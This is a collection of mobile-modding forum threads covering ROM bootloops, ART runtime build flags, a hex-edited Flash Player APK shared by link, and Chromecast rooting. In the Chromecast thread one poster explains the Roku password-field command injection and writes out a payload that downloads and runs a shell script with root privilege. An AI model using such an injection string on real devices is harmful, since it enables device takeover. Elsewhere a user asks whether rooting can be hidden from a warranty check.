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[T-Mobile Samsung Galaxy Note 3] mhutton:
Did you get LiquidSmooth to boot on your phone? Everyone else is getting bootloops.
[T-Mobile Samsung Galaxy Note 3] neferym:
I'm on 2014 02 20. it's ok.

Are you in ART ?
[T-Mobile Samsung Galaxy Note 3] mhutton:
Hlte? I dont see a 2014 02 20 build. Do you have a link?
[T-Mobile Samsung Galaxy Note 3] jdidtht:
There's the hlte build that boots for our device but all other builds are a bust. Dev on hangouts was building build after build with no luck. Should probably pull all the links here and ask for help
[T-Mobile Samsung Galaxy Note 3] warchyld77:
This rom doesn't work and it's a waste to keep it up because the first one didn't work either!
[T-Mobile Samsung Galaxy Note 3] neferym:
http://www.drdevs.com/devs/teamliquid/Nightly/Nexus 5/
[T-Mobile Samsung Galaxy Note 3] radicalisto:
That's the Nexus build. This is a Note 3 forum, that build most certainly will not work on a note..

Sent from my CM11 Kitkat powered N9005
[T-Mobile Samsung Galaxy Note 3] neferym:
omg.... sry dude.... didn't see with app....
[T-Mobile Samsung Galaxy Note 3] jayharper08:
Thread closed by request of deadman until a solution is found. :)
[Galaxy Note II, Galaxy S III Developer Discussion ] rmanne:
I've tried changing build/target/product/core_minimal.xml with

PRODUCT_RUNTIMES := runtime_libdvm_default
PRODUCT_RUNTIMES += runtime_libart

to

PRODUCT_RUNTIMES := runtime_libart

but it caused a bootloop

EDIT: I tried the build again this time using

PRODUCT_RUNTIMES := runtime_libart_default

, and this time, it refused to start up. I pulled the battery, put it back it, and all of a sudden, it started working, buggy yes, but at least it booted up. When I went into dev settings expecting to see no option to change runtime, I saw "libdvm.so", "libart.so", AND "libartd.so". Well that didn't work out as planned....

EDIT2: *sigh* I swear my phone is playing with me. Or maybe 2nd time is the charm. But it worked flawlessly. Trying a 3rd time with gapps this time.
[Galaxy Note II, Galaxy S III Developer Discussion ] JustZaphod:
ART is still in its development stages, most apps arent optimized for it yet..

I have a Nexus 7 2013 and Dalvik still runs better.. I wish I could add those Bionic and Dalvik mods to this phone..
[Galaxy Note II, Galaxy S III Developer Discussion ] ravid1323:
im wanna know if ART is possible on android 4.3
[Galaxy Note II, Galaxy S III Developer Discussion ] JustZaphod:
That is a definite no...

its not built into the rom....

ART is still experimental, I dont even use it..
[Galaxy Note II, Galaxy S III Developer Discussion ] jai794:
If ART is only that one file then couldn't you rename it to libdvm.so from libart.so and then replace it?
[Galaxy Note II, Galaxy S III Developer Discussion ] resudo:
Theoretically you could. But a bootloop is inevitable.
[Galaxy Note II, Galaxy S III Developer Discussion ] jlmancuso:
There is a line to control build type you can do dalvik, art, or both. I will dig around and give you specific path and file name.
[Galaxy Note II, Galaxy S III Developer Discussion ] DigitalMD:
THe real question is why would you want to do this? ART is still experimental and it gains you nothing to build for ART only since ANdroid will only run one or the other. Not both at once.
[Galaxy Note II, Galaxy S III Developer Discussion ] jlmancuso:
The actual build is no different except it has a choice of ART or dalvik. While ART maybe experimental it does make a huge difference in performance and battery life plus there are very few apps (almost none) that will not run in ART.
[Galaxy Note II, Galaxy S III Developer Discussion ] DigitalMD:
Yes, perhaps , we will see, but, the application has nothing to do with that, ART , like Dalvik is a run time environment set by the ROM, not the app.
[Galaxy Note II, Galaxy S III Developer Discussion ] adamcooks:
I would check your sources on that. The app ends up into trouble usually when it has to spawn another app, e.g. trying to open a pdf in papyrus wouldn't work because of art(fixed now).
[Sony Xperia M] giridhargp:
I need framework-res.apk and SemcGenericUxpRes.apk from xperia m dual which is running on android 4.2.2

Please help
[Sony Xperia M] Anmol0022:
Here you go mediafire link >>>>

https://www.mediafire.com/?0q2lo2pdbfilf1r
[Sony Xperia M] giridhargp:
Thanks mate
[Galaxy S 4 Active Q&A, Help & Troubleshooting] rpatrickii2:
I rooted s4 active with Geohot download. Everything was working great till I tried to change the theme with aprom tool n the phone tried to reboot n got stuck on the at&t logo. Tried power vol home nwiped cache n tried the reset n still nothing. With power vol up n home, ive tried all the options n nothing seems to work. Power vol down n home when I answer yes, it stays on downloading, do not turn off target. In the upper left corner it says ODIN MODE

PRODUCT NAME: SGH-i537

CURRENT BINARY: SAMSUNG OFFICIAL

SYSTEM STATUS: OFFICIAL

CSB CONFIG LSB: OX30

WRITE PROTECTION ENABLE

I'd greatly appreciate if someone could help me out.
[Galaxy S 4 Active Q&A, Help & Troubleshooting] rpatrickii2:
please help

Well went to att and they tried their "secret reset" n it failed. I was wondering if anybody knows if you erase data n factory reset in Recovery Mode if theres still traces of the phone being rooted. Since my phone is still under warranty att is sending me a replacement but if they can tell it was rooted I've got to pay thr $550 for the replacement.
[Galaxy S 4 Active Q&A, Help & Troubleshooting] Devo7v:
If you want to avoid sending your phone in to the warranty center you have a couple of options:

You can Odin back to a pre-release version and have a fully functioning phone, but you will no longer receive official OTA updates (read more about this option here), or

You can take it to the Samsung Experience Shop at your local Best Buy and have them restore your phone to official stock MF3 (read more about this option here).

Other than that I don't really know what else you can do.
[Nexus 7 Q&A, Help & Troubleshooting] ChaChon:
hi. I'm newbie here. but I found something.

Flash already works on kitkat. but only running on Dolphin JetPack. so I tried to enable on Firefox for android.

Here's my modified Flash Player apk, that makes flash works on Firefox and Dolphin JetPack.

drive.google.com/file/d/0B2bTyXoO581lYUhQU3pGRmQ4VUE/edit?usp=sharing

I'm newbie so I can't link here. please copy and paste this url.

you need to uninstall other flash player on your device and install that apk. and run Firefox. that's it.

I only just tested on Nexus7 android 4.4, but it will work other devices.
[Nexus 7 Q&A, Help & Troubleshooting] adomm420:
It works! Thank you very very much, mate!
[Nexus 7 Q&A, Help & Troubleshooting] GedBlake:
Hi, ChaChon...

Works great in both Dolphin and Firefox... thanks:).

Here is the full link... with the missing https:// added back in...

https://drive.google.com/file/d/0B2bTyXoO581lYUhQU3pGRmQ4VUE/edit?usp=sharing

Rgrds,

Ged.
[Nexus 7 Q&A, Help & Troubleshooting] loonamark:
I have N7(2012) KitKat and Adobe Flash Player 11.1.115.81
[Nexus 7 Q&A, Help & Troubleshooting] ramakrishnach21:
Thank you so much :)
[Nexus 7 Q&A, Help & Troubleshooting] ganon11000:
How did you do it?
[Nexus 7 Q&A, Help & Troubleshooting] paradoxiumwind:
best option so far, unless anyone found anything better?

Edit: works fine with firefox 27. Video controls are a bit iffy, you need to hold down the video and select full screen to enter fullscreen mode, and hit the back button on your nav menu to exit it, could be improved, but whatever - flash in firefox :)

In related news, are there any plugins to allow you to set a proper homepage instead of the awful start screen in the browser? I can't find any on the official site.
[Nexus 7 Q&A, Help & Troubleshooting] Le Ch@land:
Hi :good:

Thanks for the mod.

Do you think it is possible to do the same for Boat Browser ?
[Nexus 7 Q&A, Help & Troubleshooting] ChaChon:
hmm..

Thanks for your opinions!

swf files are played on firefox's Gecko engine. so that makes play swf in kitkat. and I think dolphine jetpack maybe use same engine so also can play.

and I modified other hacked flash player apk in hex editer.
[Nexus 7 Q&A, Help & Troubleshooting] mt1394:
Thanks so much.
[Nexus 7 Q&A, Help & Troubleshooting] oldman20:
yeah! Thanks so much

but can it run on browser stock?
[Nexus 7 Q&A, Help & Troubleshooting] RED_:
I installed this and then installed firefox and it still doesn't work. Tells me I need flash player when I try and watch flash videos.

Is there anything else I need to do?
[Nexus 7 Q&A, Help & Troubleshooting] oldman20:
Hi, i think you did enough! I did do that, too. And it works well. Notice: maybe you missed a little popup on above screen: it requires to active plugin, same thing, i dont remember clearly! Click yes and you can watching video flash on firefox:good:

sorry, my english is terrible:crying:
[Nexus 7 Q&A, Help & Troubleshooting] RED_:
Cool, I'll give it another go. Thanks for the advice! You're English is fine haha, understand it all :good:
[Nexus 7 Q&A, Help & Troubleshooting] oldman20:
really? thanks you so much:fingers-crossed: wom, u are developer? cant believe it haha
[Nexus 7 Q&A, Help & Troubleshooting] Zombie1982:
Thank you very much. Can you make a patched flash player for other apps too ? Like :

-Magine TV

-Schoener Fernsehen

This are apps to watch live streams
[Nexus 7 Q&A, Help & Troubleshooting] demoncamber:
awesome, someone get this guy a beer
[Nexus 7 Q&A, Help & Troubleshooting] dberend:
I'm confused, flash worked just fine for me in Dolphin. Always has except the short period it was removed by devs.

All I did was install Dolphin from from play store, sideload a random flash.apk, set UA to desktop and ensure flash was enabled.

Amazon instant video works along with all the other sites with short clips [emoji15]
[Nexus 7 Q&A, Help & Troubleshooting] smartphone_elf:
I know, right??..because, at least i have firefox working flash, because of her/him..& awesome because i've been hoofing & bussing it lately, ever since my ancient car broke down for the last time, a few months back :crying: ...but having my moto g smart phone [vs. my-helpful-and-yes-better-than-nothing-but-super-old-ass-flip-phone that's nearly dead], it has made my current "life situation [TY, Echhart Tolle]" so much easier!
[Google Chromecast] RowtronX:
Does anyone know if there will be any rooting to the current builds of Chromecast?
[Google Chromecast] 85gallon:
No
[Google Chromecast] wptski:
Are you sure about that? I thought nothing has been found yet but still looking for a way.
[Google Chromecast] Asphyx:
Well they found an exploit in the original (Shipped) ROm that Google quickly plugged up.

And Google has been updating the ROM like Crazy (Compared to what you see on Phones) so it's difficult to keep up (God Bless Team Eureka for doing so!)

Rooting presents some issues since Google could stop you from updating via OTA if it sees root so it almost makes little sense to root right now since it is unlikely to be permanent, will make getting the latest Updates sketchy.

Until such time as the ROM is mature enough with enough App Support that they won't be constantly updating the unit, (Even if just to update the Whitelist) I don't see anyone coming up with a permanent rooting method.

Truth is the Whitelist is the biggest reason to Root and Flash a custom that I know of but I'm sure Team Eureka has added some goodies to their ROM that I'm not aware of.

If you want a rooted CCast I suggest trying to find one with a Rootable Serial Number and rooting that one before it Updates with Google.
[Google Chromecast] DJames1:
The original hack to root the Chromecast was in the boot loader. Google has patched that and made the boot loader secure. You can't install any software on the Chromecast, and it will only talk to whitelisted apps, so how are you going to root it now? I'm not saying it's impossible, just very difficult.

For example an exploit to root the very secure Roku boxes came out 2 days ago, and the security hole exploited was an incredibly dumb oversight by Roku. The Roku can be put into Developer Mode by a special combination of remote button presses. The Developer Mode displays extra information and allows you to install apps over a local network without going through the app store, but the app environment is no less secure. You can specify a password for Developer Mode when you first set it up, and you can later reset that password if you want. When you type in a new password, the Roku internally executes a shell command of the form "passwd rokudev (new password)" to set the password. Somehow Roku forget to check and clean the password field input, and you are allowed to use a semi-colon in the password. But a semi-colon is used in Linux to separate multiple commands on one line, so when the password input is internally inserted into the command line to set the new password, everything after a semi-colon is interpreted as a new Linux shell command and executed with full root privilege. So for example the password input ";wget -O/tmp/x.sh http://SomeExploitScript;sh /*/x.sh;" happily downloads and executes whatever exploit script you want on the device with full root privilege.

Could something like that happen on the CC? Maybe. :)
[Google Chromecast] bhiga:
Ouch, that's like a SQL injection attack. :)

Back to Chromecast, I think everyone's waiting for the SDK to be released and hoping to find an exploit there, as once the SDK is released it's more difficult to change it or take it back.
[Google Chromecast] wptski:
Sounds like your anti-root and so your not rooted? The latest Team Eureka ROM is based on the latest Google build so I don't see a problem there. I have two TV's using only one rooted CC on my main TV but have a spare rooted CC as a backup right now.
[Google Chromecast] Asphyx:
LOL this is XDA...the word IMPOSSIBLE isn't part of the Vocabulary here!

Someone will find a way to send something to CCast that makes it rooted...

Nothing is completely secure around these parts!
[Google Chromecast] bhiga:
I think the only current downside to being root vs not is that updates are slightly delayed.

IMO that's not a bad thing because Team Eureka has been very quick on updates and having them look at updates before they roll out to me means there's one extra level of bug detection (and in some cases, fixing!).

A potential but as of yet unmaterialized risk of being root is being denied access to Google Play Movies if root is detected. However, I don't really expect that to happen as Chromecast doesn't have storage, unlike phones which often download content for later playback.
[Google Chromecast] Asphyx:
Nope not rooted....At least on my CCast....I have a dozen other devices all rooted because rooting gives me the ability to change some parameters and add some capability disabled by default.

Not against Root but Root is really only worthwhile if you need to do something you can't do unrooted.

What are you doing with root that I can't right now other that bypass a whitelist? Running a Rom that incorporates the fixes I got today sometime tomorrow? Im sure team Eureka's rom does much more than just bypass the Whitelist but really other than All Cast (which I don't need since I got PlexPass) there is nothing I have seen root and a custom ROM do that I don't already have except maybe Screen Mirroring which doesn't really require root just someone to make an APP that tells the CCast it is a Googlecast which is on the Whitelist.

Does rooting make the NBC app able to stream to the CCast?

What I AM against is Flash Addiction though....

See a Nightly and just flash it because it's new without any regard to if it is better or stable!

Too many people seem to buy devices to flash every day as opposed to using them to do what the device is made for and can't because they keep flashing Nightlies that don't work reliably but thats another story entirely.

---------- Post added at 06:47 PM ---------- Previous post was at 06:44 PM ----------

And let me be clear this is not meant to downplay the usefulness of the Team Eureka project in any way shape or form...

But I missed out on Rooting because I got the Update and the device doesn't seem to be limiting me on what I need it to do so I'm not really missing the lack of Whitelist!

Team Eureka has been VERY QUICK with the updates as they happen and if you have root good for you!

But I'm not going to complain or keep asking for a new Rooting Method just to have something I don't seem to need right now.

I gave up bragging about what I did to my Devices long ago! LOL
[Google Chromecast] bhiga:
Right now the benefits are:

Custom/Team Eureka whitelist (use apps that aren't Google-blessed) (you already mentioned this :) )

Check temperature

Manage parameters via web dashboard

Change DNS

Root will rarely fix a broken/buggy app.

So you're right - there isn't a lot of reason to root now that there are Google-blessed app options for casting from local storage, network, and Internet/cloud.

But of course, this is XDA, so sometimes we just want root for the sake of root. :D

...and temperatures appeal to our outer geek.

---------- Post added at 11:03 AM ---------- Previous post was at 10:55 AM ----------

First I thought you were talking Adobe (formerly Macromedia) Flash... and I was going to agree.

But you're talking device flash. And I still agree. :)

I always have fear that automatic updates promote a mentality of "Oh, well, if it's broken we'll just push another update" - that's another advantage of being rooted - you could just turn OTA updates off and you don't have to accept the latest-and-sometimes-not-so-great version.

However, until the SDK is officially released, it's quite possible that some new app or feature will require a particular minimum build, which could cause the delay between official release and rooted release to cause rumblings in the impatient masses. :angel:

Long story short, the core market for Chromecast is people who want to simply Plug and Play. The rest of us are just special. :cool:

(Okay, now I think I've exhausted my smiley quota for today)
[Google Chromecast] wptski:
Flashing a Nightly is nothing! You see the same users in multiple ROM threads so they aren't flashing a new update, they are changing ROMs daily. I got into trouble mentioning/questioning the fact that there were numerous users that never turn off their tablets which boots in 13 seconds. Seems you can't question the reasons why. They must sleep with them!
[Google Chromecast] Asphyx:
Yep! And I'm not bemoaning anyone else wanting Root just saying that unless you REALLY need something that requires it I personally don't see the point.

But it's not like root is going to get me WiFi Tethering or a Boat free version of AOSP 4.4

I'm in the US so I don't need to worry about Region blocking and truth is I don't use any service other than NetFlix that requires it. All of My Media is my own via Plex.

As for Temperature I only have three Temps I use in my daily life...

Too Hot

Too Cold

I'm Fine!

LOL

Whitelist bypassing is about the only feature I could want but I haven't seen an App yet that I need (except maybe AllCast) that really compels me to fret about not being rooted.

I fully understand other people's desire to get root especially here, But I also know that Devs rarely waste time on doing the same thing over and over again or waste time cracking root unless they are extremely bored. They have better things to do than play Root Tag with Google!

I would hope instead of working on Root they were working on Apps that could be whitelisted cause at some point if enough apps request whitelisting and it becomes a nuisance to manage on the Google side they will get rid of it entirely! LOL

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It doesn't bother me if thats how they choose to pas the time of their day...LOL To Each his own...

But they almost always come back and complain if the Dev doesn't give them their Fix in a timely fashion!

Even to the point that they donate to the Dev and then expect their $5 donation entitles them to a Weekly update to flash...

The Best however are the few who never read the changelog of the Roms they use and the Developer has a CRONTAB builder running to make a new Nightly automatically regardless if any changes were made!

And they come back and say This version is MUCH BETTER or WORSE! LOL

It's the same EXACT rom you ran yesterday! LOL

[MENTION=3050092]bhiga[/MENTION] My Chart say you still have about 20 smileys left! LOL

I chaulk most of the insanity up on FKOTB syndrome (First Kid On The BLOCK)

My devices working and stable is much more important than what it says on the About Page!

But they have been conditioned to think that one number higher somehow relates to being better! LOL

Ok enough off topic Banter My chart says I HAVE reached my Off Topic Quota for the day! LOL
[Google Chromecast] drivenby:
So TC is basically asking someone to read the future.... Interesting.
[Google Chromecast] DJames1:
I wonder if U.S. users understand how much content they are missing from other countries?

Like the U.K. sources such as the BBC iPlayer and ITV, and the much greater range of new movies on Netflix Canada/Mexico/Brazil/Sweden etc. where licencing is easier and cheaper?
[Google Chromecast] 85gallon:
You are reading too much into answer. I simply answered his question. No. Nobody knows if there will be an exploit. Chances are it will happen, but there currently isn't one and nobody knows if there will be one.
[Google Chromecast] Asphyx:
We can get that content just fine actually....

The restrictions for you folk in the UK have more to do with EU Import limitations not the fact content is restricted by region.

The only Content we can't get here that you can get is stuff like NFL streaming packages because the TV networks here who pay for that content forbid it. Yet I still watch live football anytime I want regardless of what they decided to show me on TV that day.

The only thing that was stopping us from seeing the stuff on BBC iPlayer was their insistence on using Flash which many devices have dropped support for in the US. They have since got away from flash I believe...I now get it via Plex Channel.

And when all else fails and it isn't available via a stream I just load up the ole uTorrent and there it is sitting on my Plex Server in no time.....
[Google Chromecast] bhiga:
Guess it depends on how you put the subject and question together...

Is there a root method for builds newer than 12072?

No.

Will there be a root method for builds newer than 12072?

Nobody knows. The crystal ball is not giving an answer, and we don't trust the Magic 8-Ball.
[Google Chromecast] Richieboy67:
Yeah, it would make things so much easier to be able to change the DNS. I hope they can get this rooted again.
[Google Chromecast] DJames1:
Roku patched the rooting loophole in their firmware and has pushed it out by automatic update. Time from publication of the vulnerability to patching: 1.5 days.

Google isn't quite that on-the-ball, but if a new vulnerability to root the Chromecast comes out, I hope the originators wait for at least a holiday weekend before publishing it to give us a chance.
[Google Chromecast] GermainZ:
No need to argue, peeps. If you think an answer is unclear, you can ask politely for clarification... and there is no need to keep arguing after one has been provided. Thread cleaned. Thanks :)